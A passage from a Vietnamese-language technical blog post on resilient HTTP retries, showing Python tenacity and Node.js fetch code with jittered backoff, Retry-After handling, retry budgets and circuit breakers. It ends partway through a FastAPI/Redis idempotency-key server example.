&lt;span class="nd"&gt;@retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;retry&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;retry_if_exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_transient&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;wait_random_exponential&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;multiplier&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  &lt;span class="c1"&gt;# full jitter
&lt;/span&gt;    &lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;stop_after_attempt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nf"&gt;stop_after_delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
    &lt;span class="n"&gt;before_sleep&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;before_sleep_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;reraise&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/users/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raise_for_status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vài điểm cần để ý:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;wait_random_exponential&lt;/code&gt; là &lt;strong&gt;full jitter&lt;/strong&gt;: thời gian chờ là một số ngẫu nhiên trong khoảng &lt;code&gt;[0, min(max, multiplier * 2^n)]&lt;/code&gt;. Theo các phân tích về backoff được chia sẻ rộng rãi, full jitter cho tổng số request thấp hơn hẳn so với backoff thuần.&lt;/li&gt;
&lt;li&gt;Luôn có &lt;strong&gt;hai điều kiện dừng&lt;/strong&gt;: số lần thử và tổng thời gian. Nếu không, một request có thể treo cả phút trong khi user đã tắt tab từ lâu.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;reraise=True&lt;/code&gt; để caller nhận đúng exception gốc chứ không phải &lt;code&gt;RetryError&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tôn trọng Retry-After và giới hạn retry budget
&lt;/h2&gt;

&lt;p&gt;Khi server trả về &lt;code&gt;429&lt;/code&gt; hoặc &lt;code&gt;503&lt;/code&gt; kèm header &lt;code&gt;Retry-After&lt;/code&gt;, nghĩa là server đang &lt;strong&gt;nói thẳng&lt;/strong&gt; cho bạn biết khi nào nên quay lại. Lờ đi header đó là thiếu lịch sự, và nhiều API (GitHub, Stripe, OpenAI...) sẽ ban token của bạn nếu cứ cố tình spam.&lt;/p&gt;

&lt;p&gt;Ví dụ phía Node.js (v20+, dùng &lt;code&gt;fetch&lt;/code&gt; có sẵn):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sleep&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RETRYABLE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;504&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parseRetryAfter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isNaN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;secs&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// dạng HTTP-date&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isNaN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;date&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;fetchWithRetry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;opts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;baseMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;capMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="nx"&gt;_000&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;opts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;RETRYABLE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;serverHint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseRetryAfter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;retry-after&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;backoff&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;capMs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;baseMs&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;capMs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;serverHint&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="nx"&gt;backoff&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="c1"&gt;// TimeoutError / lỗi mạng: chỉ retry nếu còn lượt&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;capMs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;baseMs&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ngoài ra, quay lại câu chuyện 4 lần charge ở đầu bài: vấn đề lớn nhất là &lt;strong&gt;retry ở nhiều tầng&lt;/strong&gt;. Nếu mỗi tầng retry 3 lần và có 3 tầng thì một request gốc có thể biến thành 3³ = 27 request. Quy tắc mình áp dụng:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Chỉ retry ở một tầng&lt;/strong&gt;, thường là tầng gần với dependency nhất. Các tầng trên fail nhanh.&lt;/li&gt;
&lt;li&gt;Dùng &lt;strong&gt;retry budget&lt;/strong&gt;: ví dụ retry không được vượt quá 10% tổng số request trong một cửa sổ thời gian. gRPC hỗ trợ sẵn qua &lt;code&gt;retryThrottling&lt;/code&gt; trong service config, Envoy/Istio cũng có &lt;code&gt;retry_budget&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Kết hợp với &lt;strong&gt;circuit breaker&lt;/strong&gt; (ví dụ &lt;code&gt;pybreaker&lt;/code&gt; trong Python, &lt;code&gt;opossum&lt;/code&gt; trong Node): khi tỉ lệ lỗi vượt ngưỡng thì ngừng gọi hẳn một lúc thay vì tiếp tục retry vô ích.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Idempotency Key: làm cho POST retry được an toàn
&lt;/h2&gt;

&lt;p&gt;Với những thao tác có side effect như tạo đơn hàng, charge tiền hay gửi email, cách chuẩn là dùng &lt;strong&gt;Idempotency Key&lt;/strong&gt;. Client sinh một UUID cho mỗi thao tác logic (không phải mỗi lần gửi request) và gửi qua header &lt;code&gt;Idempotency-Key&lt;/code&gt;. Server lưu kết quả theo key đó, nên nếu nhận lại cùng key thì trả về kết quả cũ thay vì xử lý lại.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant C as Client
    participant S as API Server
    participant R as Redis
    C-&amp;gt;&amp;gt;S: POST /charges, Idempotency-Key: abc
    S-&amp;gt;&amp;gt;R: SET idem:abc PROCESSING NX
    S--&amp;gt;&amp;gt;C: timeout, mất response
    C-&amp;gt;&amp;gt;S: Retry POST /charges, Idempotency-Key: abc
    S-&amp;gt;&amp;gt;R: GET idem:abc
    R--&amp;gt;&amp;gt;S: response đã lưu
    S--&amp;gt;&amp;gt;C: 201 Created, cùng kết quả cũ&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Phía server, một implementation tối giản với FastAPI và Redis:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pip install fastapi==0.115.0 redis==5.1.0
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;redis.asyncio&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HTTPException&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decode_responses&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;TTL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/charges&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_charge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idempotency_key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;idem:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;idempotency_key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="c1"&gt;# Chiếm key một cách atomic; chỉ request đầu tiên thành công
&lt;/span&gt;    &lt;span class="n"&gt;acquired&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PROCESSING&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;acquired&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cached&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cached&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PROCESSING&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;HTTPException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;409&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Request với key này đang được xử lý&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;do_charge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# logic thật, gọi payment provider
&lt;/span&gt;    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
